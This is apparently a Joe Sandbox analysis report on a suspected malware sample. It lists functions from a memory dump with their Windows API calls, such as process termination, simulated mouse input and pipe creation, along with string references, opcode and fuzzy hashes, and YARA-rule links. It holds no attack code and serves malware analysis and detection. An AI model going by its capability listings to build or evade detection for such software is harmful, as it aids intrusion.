Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AllocByteCharMultiStringWide
String ID:
API String ID: 3603722519-0
Opcode ID: fcd075470693daa97f2a1c040a0b0bfa866470de5cb70d214c6f86d5a398f3db
Instruction ID: 46b5334973e2068ba9b1fa24bd58889fe9501faadc7f7169efc8810383c80489
Opcode Fuzzy Hash: fcd075470693daa97f2a1c040a0b0bfa866470de5cb70d214c6f86d5a398f3db
Instruction Fuzzy Hash: 69315031B48B8689EB209F1AF444179B3A0FB48F98F584236DB9D937A5DF3CE5858700

Function 00007FF6BB1CAEDC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

SendMessageW.USER32 ref: 00007FF6BB1CAF8C
SendMessageW.USER32 ref: 00007FF6BB1CAFA0
SendMessageW.USER32 ref: 00007FF6BB1CAFB4
SendMessageW.USER32 ref: 00007FF6BB1CAFCB
SendMessageW.USER32 ref: 00007FF6BB1CAFE3

Strings

Msctls_Progress32, xrefs: 00007FF6BB1CAF12

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
Instruction ID: 5c4f82b3665d8244f4889bc9f9ab65c7e570be8061a91bdd548febd498b810e4
Opcode Fuzzy Hash: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
Instruction Fuzzy Hash: 4B313A3661969187E3608F69F494B1AB761FB88794F109239EB9983B69CF3CD845CF00

Function 00007FF6BB19FAFC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6BB19FB23
CreatePipe.KERNEL32 ref: 00007FF6BB19FB6F

Strings

nul, xrefs: 00007FF6BB19FBB3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction ID: b1606e996425cc5a85c3b7e30b19cd69d9718cb544ec16555c381b0d08e99d01
Opcode Fuzzy Hash: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction Fuzzy Hash: 69318472A18A8691EB508F68D41437923A0FB59B7CF544330DBBD867E5DF3CE4468701

Function 00007FF6BB19F9EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6BB19FA11
CreatePipe.KERNEL32 ref: 00007FF6BB19FA5D

Strings

nul, xrefs: 00007FF6BB19FA99

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction ID: bfc8519486c49e756162034d14b63dd9499aa86e3afd33e966909207c6254ab6
Opcode Fuzzy Hash: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction Fuzzy Hash: 82219531A18B8692EB148B68E01437963A0FB8977CF504331DBBE867E6DF7CE0058700

Function 00007FF6BB128F40 Relevance: 9.2, APIs: 6, Instructions: 246COMMON

Download Yara Rule

APIs

GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF6BB128EBA), ref: 00007FF6BB128F7D
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF6BB128EBA), ref: 00007FF6BB128FBF
ScreenToClient.USER32 ref: 00007FF6BB128FE5
GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF6BB128EBA), ref: 00007FF6BB129175
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF6BB128EBA), ref: 00007FF6BB12919E
GetSystemMetrics.USER32 ref: 00007FF6BB16E005

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Rect$Client$Window$MetricsScreenSystem
String ID:
API String ID: 3220332590-0
Opcode ID: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction ID: 4e42cb19bd35f5dab8d04eef227d6a31162a1c434fad47d70e167429f56b76e5
Opcode Fuzzy Hash: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction Fuzzy Hash: 06A1BF6BA1829386E7248F7984047BD33A0FF48B5CF145135EF1AD7AA4EE399845E320

Function 00007FF6BB14A054 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 492COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB14A08F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB14A460
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB14A701

Strings

p, xrefs: 00007FF6BB14A19C
f, xrefs: 00007FF6BB14A194

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p
API String ID: 3215553584-1290815066
Opcode ID: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction ID: 7b2e8bab6ffc34535963058e946f75da4b61c97802ea7cab7f4070bfdbf94707
Opcode Fuzzy Hash: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction Fuzzy Hash: A512A422E2E25385FB209B1EE04467A6661FB4876CF994231E79D866E4DF3DE540DF00

Function 00007FF6BB18AD30 Relevance: 9.2, APIs: 6, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF6BB18AD45
VariantClear.OLEAUT32 ref: 00007FF6BB18ADCA
VariantCopy.OLEAUT32 ref: 00007FF6BB18ADD6
VariantClear.OLEAUT32 ref: 00007FF6BB18ADE1
SysAllocString.OLEAUT32 ref: 00007FF6BB18AE11
VariantCopy.OLEAUT32 ref: 00007FF6BB18AE73

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 8e44bf46c7e5b12b80dc938b927224b029bd7917f521fbe4f51ebd57dbe57272
Instruction ID: 825cd95a7d5b2b0b10f351d8264c0f625b30c0925058b836d4e602b27fcfce8a
Opcode Fuzzy Hash: 8e44bf46c7e5b12b80dc938b927224b029bd7917f521fbe4f51ebd57dbe57272
Instruction Fuzzy Hash: 71715E71A2A64282EB289F2DD95417C6360FF4DB88F148636D74E8B7B5DF2DE921C700

Function 00007FF6BB19D1F0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB19CA34: GetFullPathNameW.KERNEL32 ref: 00007FF6BB19CA62

Part of subcall function 00007FF6BB19CA34: GetFullPathNameW.KERNEL32 ref: 00007FF6BB19CA77

Part of subcall function 00007FF6BB19CED4: GetFileAttributesW.KERNEL32 ref: 00007FF6BB19CED8

lstrcmpiW.KERNEL32 ref: 00007FF6BB19D277
MoveFileW.KERNEL32 ref: 00007FF6BB19D2AA
wcscat.LIBCMT ref: 00007FF6BB19D2FB
wcscat.LIBCMT ref: 00007FF6BB19D30E
wcscat.LIBCMT ref: 00007FF6BB19D324
SHFileOperationW.SHELL32 ref: 00007FF6BB19D43E

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 564229958-0
Opcode ID: d9598a99559bbce9838ccc8e3f13cd44917abc84097f4dea62aff47b12167531
Instruction ID: 1429202e172ec8c247f13a832259a163ab94da836d31acb860b9741998096812
Opcode Fuzzy Hash: d9598a99559bbce9838ccc8e3f13cd44917abc84097f4dea62aff47b12167531
Instruction Fuzzy Hash: 43513822A146C295EB20DF68D4402ED6365FF9978CF844032E78D976AADFA8D745C740

Function 00007FF6BB12D4CC Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

0x%p, xrefs: 00007FF6BB179CB4
%.15g, xrefs: 00007FF6BB12D554
True, xrefs: 00007FF6BB179C97
False, xrefs: 00007FF6BB179C90

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID: %.15g$0x%p$False$True
API String ID: 0-2263619337
Opcode ID: aa6789edd5eec0de91f5163da99e610be347a5c35b1970d0f65f42280687e41a
Instruction ID: b01b99d3f4297291a61d0f44ec2ad53e6de00841603b488a2a66578760d2b6d9
Opcode Fuzzy Hash: aa6789edd5eec0de91f5163da99e610be347a5c35b1970d0f65f42280687e41a
Instruction Fuzzy Hash: 7C515B72B09A4285EE20DF6DE4541BC23A5BB4AB9CF648131DB0E977B9DE79E409C340

Function 00007FF6BB121E04 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB122A54: GetWindowLongPtrW.USER32 ref: 00007FF6BB122A71

BeginPaint.USER32 ref: 00007FF6BB121E4C
GetWindowRect.USER32 ref: 00007FF6BB121EB7
ScreenToClient.USER32 ref: 00007FF6BB121EDE
SetViewportOrgEx.GDI32 ref: 00007FF6BB121EF9
EndPaint.USER32 ref: 00007FF6BB121F5A
Rectangle.GDI32 ref: 00007FF6BB16A458

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
String ID:
API String ID: 2592858361-0
Opcode ID: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction ID: 1a97247054c422a95f4041dd98efc66e8c963a6d3cd61b5eaa9f95a119be09b5
Opcode Fuzzy Hash: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction Fuzzy Hash: D551AE32A18B9286E720CB1AE44477A3764FB4EB98F144235DB6D87BA4CF7DE505C700

Function 00007FF6BB1B4C58 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF6BB1B4C71

Part of subcall function 00007FF6BB1B0374: GetWindowRect.USER32 ref: 00007FF6BB1B0389

GetDesktopWindow.USER32 ref: 00007FF6BB1B4C93
GetWindowRect.USER32 ref: 00007FF6BB1B4CA0
mouse_event.USER32 ref: 00007FF6BB1B4CE6

Part of subcall function 00007FF6BB19D7F8: QueryPerformanceCounter.KERNEL32 ref: 00007FF6BB19D811
Part of subcall function 00007FF6BB19D7F8: QueryPerformanceFrequency.KERNEL32 ref: 00007FF6BB19D820
Part of subcall function 00007FF6BB19D7F8: Sleep.KERNEL32 ref: 00007FF6BB19D828
Part of subcall function 00007FF6BB19D7F8: QueryPerformanceCounter.KERNEL32 ref: 00007FF6BB19D833

GetCursorPos.USER32(?,?), ref: 00007FF6BB1B4D1A
mouse_event.USER32 ref: 00007FF6BB1B4D87

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$PerformanceQuery$CounterRectmouse_event$CursorDesktopForegroundFrequencySleep
String ID:
API String ID: 383626216-0
Opcode ID: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
Instruction ID: efc79ac588a330063bdd8cd281246555f610e25087d472050e20579f857b76f3
Opcode Fuzzy Hash: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
Instruction Fuzzy Hash: D6319133B046528BE314CF65D4807AC33A5FB9874CF504235EB5A93A95DF38E549C740

Function 00007FF6BB151E74 Relevance: 9.1, APIs: 6, Instructions: 56threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB151E90
CreateThread.KERNEL32 ref: 00007FF6BB151ED4
GetLastError.KERNEL32 ref: 00007FF6BB151EE2
CloseHandle.KERNEL32 ref: 00007FF6BB151F01
FreeLibrary.KERNEL32 ref: 00007FF6BB151F10
ResumeThread.KERNEL32 ref: 00007FF6BB151F33

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Thread$CloseCreateErrorFreeHandleLastLibraryResume_invalid_parameter_noinfo
String ID:
API String ID: 2082702847-0
Opcode ID: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction ID: 1612ed659adb40674fb6d5d1b5363a93eef4ae4aad052ada59ff17ce8f7757a1
Opcode Fuzzy Hash: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction Fuzzy Hash: 94218E21A0974281EE169F69E8242BD6290BF4CBBCF140735DB3D867F5DF3CE8688604

Function 00007FF6BB1D09FC Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB122370: ExtCreatePen.GDI32 ref: 00007FF6BB1223FF
Part of subcall function 00007FF6BB122370: SelectObject.GDI32 ref: 00007FF6BB122412
Part of subcall function 00007FF6BB122370: BeginPath.GDI32 ref: 00007FF6BB12242B
Part of subcall function 00007FF6BB122370: SelectObject.GDI32 ref: 00007FF6BB122452

MoveToEx.GDI32 ref: 00007FF6BB1D0A3F
LineTo.GDI32 ref: 00007FF6BB1D0A4E
MoveToEx.GDI32 ref: 00007FF6BB1D0A60
LineTo.GDI32 ref: 00007FF6BB1D0A6F
EndPath.GDI32 ref: 00007FF6BB1D0A81
StrokePath.GDI32 ref: 00007FF6BB1D0A91

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
Instruction ID: eebfeca717c678d9452fdf19aa88ff09369585f4ad70058c77b0c2c27734b369
Opcode Fuzzy Hash: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
Instruction Fuzzy Hash: 6911BF31B5429386E7148B1AF828769BB60FB89B88F484131CF0643B60CF7EA445C740

Function 00007FF6BB142D5C Relevance: 9.0, APIs: 6, Instructions: 39keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142D8E
MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142D9C
MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142DAC
MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142DBC
MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142DCA
MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142DD8

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
Instruction ID: 5d65ea037ef6226b58c768f836262ab5344a2aa4d21a990fc390d7befde58963
Opcode Fuzzy Hash: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
Instruction Fuzzy Hash: E7110C62906A408AE748CF39EC481593BB2FB9CB09B589038C349CF275EE39949AC711

Function 00007FF6BB19DA1C Relevance: 9.0, APIs: 6, Instructions: 34windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 00007FF6BB19DA2F
SendMessageTimeoutW.USER32 ref: 00007FF6BB19DA5C
GetWindowThreadProcessId.USER32 ref: 00007FF6BB19DA6F
OpenProcess.KERNEL32 ref: 00007FF6BB19DA81
TerminateProcess.KERNEL32 ref: 00007FF6BB19DA8F
CloseHandle.KERNEL32 ref: 00007FF6BB19DA98

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction ID: 8eb0d2b0c6f93f81734420283d261018e9acf44a3150fa0a86b49ab5d428b8cc
Opcode Fuzzy Hash: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction Fuzzy Hash: F4018F32A54B4283EB109B2AF804A697361FF8DB99F445034CA4A46B24DF3CD1488B00

Function 00007FF6BB18F378 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32 ref: 00007FF6BB18F3A8
GetWindowThreadProcessId.USER32 ref: 00007FF6BB18F3B8
GetCurrentThreadId.KERNEL32 ref: 00007FF6BB18F3C0
GetWindowThreadProcessId.USER32 ref: 00007FF6BB18F3D0
GetCurrentThreadId.KERNEL32 ref: 00007FF6BB18F3D8
AttachThreadInput.USER32 ref: 00007FF6BB18F3E5

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction ID: e9fe21153f9b7accdc5839c782fa2f0567c8b15d51dc102f512abbc7221bbaee
Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
